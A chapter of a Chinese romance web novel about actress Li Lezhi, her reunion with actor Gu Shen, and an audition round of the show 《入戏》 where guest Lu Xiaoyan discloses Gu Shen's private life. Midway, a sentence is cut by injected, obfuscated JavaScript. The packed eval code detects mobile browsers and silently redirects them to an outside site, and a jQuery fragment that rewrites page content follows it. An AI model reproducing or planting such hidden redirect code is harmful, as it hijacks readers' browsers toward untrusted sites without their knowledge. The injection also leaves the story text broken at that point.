“顾深居然当着镜头叫你乐知?!”

    霍灵这一声,差点把客厅的天花板都掀了。

    电视里,新一期《入戏》正播到顾深进棚。

    这几天,霍灵一直想八卦他俩重逢的画面。可李乐知嘴严得很,怎么问都不说。今天《入戏》正片刚上线,她直接跑到南梧路,硬拉着李乐知一起看。

    结果才播了几分钟,瓜就砸到了她脸上。

    还好她这次有经验,没在吃东西,也没有喝水。否则照这个动静,恐怕又要呛出第二回。

    屏幕里,顾深停在候选区。所有人都叫他顾老师,李乐知也跟着叫了一声顾老师。

    下一秒,顾深看着她,叫:“乐知。”

    霍灵猛地转头看李乐知。

    李乐知坐在沙发另一侧,手里捧着水杯,咕噜咕噜喝了一口。

    餐桌那边,还放着顾深送来的保温袋。粥已经被她热过吃完了,保温盒还没来得及收。

    霍灵一脸嗑到了的表情:“你们这个,真的不解释一下吗?”

    “解释什么?”李乐知目不转睛看着电视。

    电视还在放着,画面里,顾深问她:“今天试飞仙灯前?”

    李乐知点头。

    顾深:“好。我看。”

    看到这,霍灵又吸了一口气,“这还不用解释?全网都看见了。”

    眼见着弹幕越来越密,李乐知没答。

    节目继续往下播。

    飞仙灯试镜表演出来时,霍灵终于暂时闭了嘴。

    红衣阿照站在灯前,灯光一点点亮起来,李乐知说出最后那句:“我要自己去。”

    霍灵原本还想继续追问,看到这里也安静了。

    直到柳城浩问顾深:“这一条怎么看?”

    镜头切到监视器后。

    正片剪掉了中间几句,只留下最容易被观众记住的那一句。

    顾深说:“这一点,乐知给到了。”

    霍灵这才重新倒回沙发里。

    “完了。”

    李乐知转头:“什么完了?”

    “你事业线和感情线,今天都被剪出来了。”

    李乐知朝她丢了个抱枕,“你少看点评论吧。”

    “我还没看呢。”霍灵说,“但我已经能想象了。”

    果不其然,节目刚上线没一个小时,顾深叫她“乐知”、说“我看”、点评“选择权”的几个片段,已经被人截出去剪成合辑,发到了短视频平台。评论区很快盖了起来。

    【我听了三遍,真的是叫乐知。】

    【顾深不是出了名的边界感强吗?叫别人都好礼貌,到李乐知这里怎么这么自然。】

    【先别嗑,我只是觉得他们应该认识。】

    【前面顾深生日会,李乐知也在现场吧?】

    顾深粉丝很快也涌了进来。

    【别乱嗑,录节目而已。】

    【叫名字也能嗑?顾深点评每个演员都很认真。】

    【顾深不炒CP,老粉都知道。】

    可越有人压,那个片段转得越快。

    那声“乐知”太顺口了,不像节目效果,也不像临时客气,更不像顾深一贯的作风。

    霍灵一边刷评论,一边啧了一声,“你看,这不是我一个人多想吧。”

    手机在茶几上震了一声。

    李乐知点开。

    顾深发来消息。

    【明天录制我不在。】

    下一条跟着过来。

    【去宁市,明晚回。】

    李乐知握着水杯,看着那两行字,忽然有种回到小时候的错觉。

    那时候顾深去外地拍戏,也会提前告诉她一声。

    霍灵看见她盯着手机,“谁?”

    李乐知把手机放到水杯旁边。

    “节目组。”

    “你这表情,不像节目组。”

    李乐知嘴硬:“我什么表情。”

    这时,手机又震了一声。

    霍灵挑眉:“还说节目组?”

    李乐知重新拿起手机,屏幕上还是顾深的聊天框。

    第三条消息很短。

    【好好录。】

    李乐知看着这三个字,回道:

    【知道了。】

    消息发出去后,屏幕还亮着。

    霍灵坐到她对面,问:“顾深?”

    “嗯。”李乐知答,“他说他明天不在。”

    霍灵停了两秒,才把这事对上:“顾深不在,陆笑言来。节目组真会挑时候。”

    李乐知杯子里的水晃了一圈,又慢慢平下来。

    “下一期我自己录。”

    “你本来就是自己录。”霍灵说,“你能站在那里,靠的是你自己。”

    李乐知看着杯口那圈水光。

    “嗯。”

    *

    第二天下午,录制棚里正在试灯。

    五位候选演员按流程坐进候选区。工作人员把题卡发下来,背面朝上,银色《入戏》标志正对着镜头。

    导演助理拿着流程单过来提醒:“今天五进四,先录飞行嘉宾开场,之后直接进表演环节。题卡暂时不要翻。”

    李乐知坐在候选区边上。

    她今天的红衣比上一期更深,眼尾的妆也重了些。灯打过来,那点红压在眼角,她抬眼时,比平时更不容易让人接话。

    嘉宾席上已经换了陆笑言的名牌。

    人还没到,位置先摆好了。

    没过多久,通道那边有人喊了一声:“飞行嘉宾到了。”

    工作人员领着陆笑言走进来。

    她今天是一身浅杏色。长裙到脚踝,裙摆一侧斜斜拼了一层薄纱,走动时才看得出来。扣子旁边缀了一小排珍珠,灯从侧面扫过去,才闪一点光。

    头发披着,只用一枚细夹别住一侧,另一边落在肩上。耳饰也不成套,一边是小珍珠,一边垂着细金链。

    棚里一排候选演员都穿红衣,她那身浅色一进监视器,颜色直接亮眼起来。

    许棠原本低头背词,念到一半抬了下眼,压着声音说:“镜头也太吃她了吧。”

    梁予安轻轻碰了她一下,示意她别乱说。

    陆笑言没往候选区这边看。她先让过一台推来的摄像机,又低头和带路的工作人员说了句谢谢,才走到导演组前面。

    “柳导。”

    柳城浩抬了下手:“来了。”

    陆笑言又转向候选区,“大家好。”

    候选区前排有人回了声“笑言姐”。

    工作人员替她拉开椅子。她坐下后,把外套袖口往上拨了一点,露出腕上一条很细的金色手链。

    导播那边先给了她一个近景。

    陆笑言翻开台本前,看了一遍候选区。

    视线扫到李乐知这里时,她翻台本的手停了一下。

    李乐知知道,她看见自己了。

    但陆笑言没有打招呼。下一秒,她已经转头去听主持人确认流程。

    阮明姝起身和她问好:“笑言姐。”

    陆笑言看过去,“明姝,我爸昨天还提到你,说你上一轮状态很好。”

    许棠轻轻“哇”了一声:“陆老师也看节目啊?”

    陆笑言说:“他很关心《飞仙记2》。”

    阮明姝接得得体:“谢谢陆老师,我会继续努力。”

    录制开始后,主持人先把话递给陆笑言:“笑言,今天来《入戏》,应该也算半个熟人局吧?”

    陆笑言握着话筒,“柳导和我爸认识很多年了,我小时候也去过不少片场。”

    主持人顺势问:“那你和顾深认识得也很早?”

    陆笑言低头看了眼话筒。

    “算挺早吧。”

    候选区有人抬头,连导演组后面的工作人员也往嘉宾席看了一眼。

    主持人继续笑:“那笑言应该知道不少大家不知道的事吧?”

    陆笑言先看了导演组一眼,才开口。

    “其实顾深哥哥很少让人知道他的事。”

    顾深哥哥。

    这四个字叫得太顺口了,像这个称呼早就在她嘴边放了很多年。

    主持人顺着问:“那能不能说一个粉丝都不知道的?”

    “这个……”

    陆笑言想了想,“顾深哥哥养了一只猫,好像知道的人比较少。”

    主持人眼神也亮了:“顾深老师竟然养了猫?”

    陆笑言笑:“这个算爆料吗?”

    棚里立刻热闹起来。

    “顾深养猫?真的假的?”

    “粉丝那边应该也第一次听说吧?”

    迎着满场的意外,陆笑言点点头:“一只纯白色的长毛猫,很漂亮。”

    “之前听他们聊起过。顾深哥哥常常会给它梳毛。长毛猫养起来麻烦,他又认真,所以那只猫一直特别漂亮。”

    陆笑言说完这句,抬手挡了一下话筒,偏头问镜头外:“这是可以说的吗?”

    主持人立刻接:“我们节目组应该会帮你问问顾深。”

    陆笑言眉眼弯了弯:“顾深哥哥应该不会怪我吧。”

    主持人笑了,候选区前排也有人跟着笑。

    有人低声说:“她连顾深家里养猫都知道啊。这关系是真的很熟吧。”

    李乐知坐在候选区,题卡还扣在膝上。

    原来顾深养了猫。

    在她没参与的这五年里。

    他去宁市会提前告诉她,今晚回来也会告诉她。可他家里有一只猫,她是今天才知道的。

    而这件事,是陆笑言在镜头前说出来的。

    陆笑言说得轻松,棚里也笑得轻松。只有李乐知坐在候选区,没有跟着笑。

    主持人还在往下接:“笑言今天来,也算是带着陆老师的关注来的?”

    陆笑言说:“我爸当然很关心《飞仙记2》。”

    她把话筒拿稳,目光转向候选区,“也很期待看到,谁最后能站到顾深哥哥身边。”

    这句话听起来像节目效果,棚里立刻起了一阵笑声和起哄。

    李乐知低着头,把题卡翻过来。

    【阿照与裴行舟】

    【情境:裴行舟醒来后,众人认定许云屏是救命恩人。阿照来向裴行舟告别。】

    许云屏不在场。

    可从第一行情境开始,她就已经压在阿照头上。

    试镜表演开始。第一组上场的是梁予安。

    她走的是委屈那一路。林述白问她为什么要走,她停在门边,指背蹭了一下门框。

    那个动作好看,也把不舍给出来了,只是停得稍微久了些。

    柳城浩看完没有过多点评。

    第二组上场的是秦栩。秦栩把这一场的情绪压得很低。

    林述白问她为什么不说真话时,她把手里的玉牌放回桌上,只说了一句:“说了,公子就能信吗?”

    柳城浩看完回放,说:“想法有。”

    副导演问:“这一条呢?”

    柳城浩说:“先标。”

    下一组是许棠。她很会找镜头。

    林述白说“许云屏救了我”时,她笑了。

    那点笑带着刺,也漂亮。

    等她说“那公子该谢她”时,眼神直接压过去,像是来讨一个说法。

    柳城浩看了两遍回放,“太像争。”

    许棠拿着剧本,怔了一下。

    柳城浩说:“阿照这一场,别演成她来讨公道。”

    他看着监视器里的定格画面,“她这时候已经知道,讨不回来了。”

    许棠退下时,脸上的笑挂得有点勉强。

    轮到阮明姝时,场务过来重新确认灯位。

    她是上一轮第一,摄影机先给了候选区一个反应镜头。

    阮明姝走到灯

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706619|208196||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下。

    她今天的红衣比李乐知稍浅一些,妆也收着。开演前,她低头确认了一下袖口。再抬头时,脸上已经没有刚才和陆笑言说话时的笑。

    画外音响起。

    “少主醒了。”

    “许姑娘守了一夜,人刚刚才被劝回去。”

    “裴府上下都记着这份恩。”

    阮明姝转向林述白。

    林述白问:“你怎么来了?”

    她过了一拍,才说:“告别。”

    她这场没有急着哭。后面几句台词,一句比一句短。到了最后,许棠也看得入了戏。

    柳城浩看完,说:“这一条可以。”

    陆笑言坐在嘉宾席,也补了一句:“明姝这一场表演很细。”

    阮明姝低头道谢。她走回候选区时,路过李乐知身边。

    两人看了彼此一眼。

    最后一组,李乐知。

    她站到灯下。林述白停在她对面,代演裴行舟。两人中间还留着一段距离。

    画外音响起。

    “少主醒了。”

    “许姑娘守了一夜,人刚刚才被劝回去。”

    “裴府上下都记着这份恩。”

    音响里放出的几句群演录音,全在谢许云屏。

    李乐知站在光里。红衣颜色很重,眼尾的妆也重,唇边却很平静。

    林述白问她:“你来做什么?”

    李乐知说:“告别。”

    林述白往前走了一步。

    “许云屏说,救我的人是她。”

    李乐知笑了一下:“那公子该谢她。”

    “她说的,和我记得有些出入。”

    她笑淡了些,“公子昏了三日,醒来第一个看见的人,是许姑娘。”

    “人总是信自己醒来时看见的东西。”

    说完,她便侧过身。林述白横过一步,挡在她前面。

    “那夜河边,我听见过你的声音。”

    李乐知停住。

    两人已经离得很近。她隔了片刻,又把唇角弯起来:“公子病糊涂了。”

    她要从另一边走,林述白伸手握住她的手腕。

    红衣袖口被带得一晃,她也随之转了回来。方才留在两人之间的距离,一下收尽。

    李乐知低头,视线落在他握着自己的手上。

    林述白说:“看着我。”

    她抬起脸。

    “许姑娘更合适。”

    “她清白,温顺,站在公子身边,众人看了安心。”

    “公子是裴氏少主,天门正脉,日后要受万人敬仰。”

    “救公子的人,也该干干净净。”

    林述白还握着她的手:“你把自己放到哪里?”

    李乐知往后退,抽了一次手。可林述白的手指收拢,将她拦在原地。

    红袖在两人之间晃了晃,她停下挣动。

    “我是妖。”

    “妖救人,听起来总像有所图。”

    “妖守在公子身边,也总会让人害怕。”

    她的声音很平静,手也松下来,任由他握着。

    “那夜我来过。可公子醒来时,看见的是她。”

    “所以许姑娘是救命恩人。我只是没等到公子醒来的人。”

    林述白掌心松开一些,手指仍圈在她腕间。

    “我醒得迟,便连谁救我,也由旁人定?”

    画外音里,众人仍在谢许云屏。一声接着一声,填进两人之间的沉默里。

    停了几秒,李乐知终于开口:“公子该往天门去。”

    这一次,林述白松开她了。

    红衣从他掌心边擦过去,“我也该回到妖该回的地方。”

    她转身,退到灯外。

    场务转向导演组,等着下一步指令。

    灯下静了几秒。

    柳城浩开口:“倒一下。”

    导播把刚才抽手的画面退了回去。

    监视器里,李乐知的手从林述白指间离开。红衣擦过去,林述白还保持着伸手的姿势,掌心空在那里。

    柳城浩说:“这一条单独标出来。”

    副导演问:“抽手这一段?”

    “从她转身开始。”

    画面重新放了一遍。

    柳城浩说道:“她认下许云屏是救命恩人,也认下自己该走。”

    主持人把话递给陆笑言:“笑言觉得这一段怎么样?”

    陆笑言拿起话筒:“挺入戏的。”

    说完,她把话筒放回桌上。

    主持人很快接回流程:“谢谢乐知。”

    李乐知从灯外走回来。

    许棠翻着剧本,难得安静。

    秦栩靠近一点,低声说:“你这场可以。”

    梁予安朝她轻轻点了下头。

    监视器里还停着刚才那一格。

    红衣已经离开,裴行舟伸出的手空在半路。

    *

    录制一直持续到傍晚。

    五进四的结果没有当场公布,按流程要留到导演组复盘后再宣布。

    结束后,李乐知回到化妆间卸妆。

    手机震了一声。

    顾深发来消息:【录完了吗?】

    李乐知看着对话框,手指在输入栏上方停了几秒。

    最后只敲了一句:

    【录完了,谢谢顾老师。】

    发送键按下去,屏幕还亮着。

    她把手机放回化妆台,抽了张卸妆棉。

    卸妆棉从眼尾擦过,带下一点红色眼影。镜子里,她眼尾还沾着红。

    手机又震了一下。

    顾深:【辛苦。】

    隔了几秒,又来一条。

    顾深:【早点休息。】

    李乐知看了几秒,没再碰输入框。

    屏幕亮了一会儿,自己暗下去。

    这次,她只回了那一句。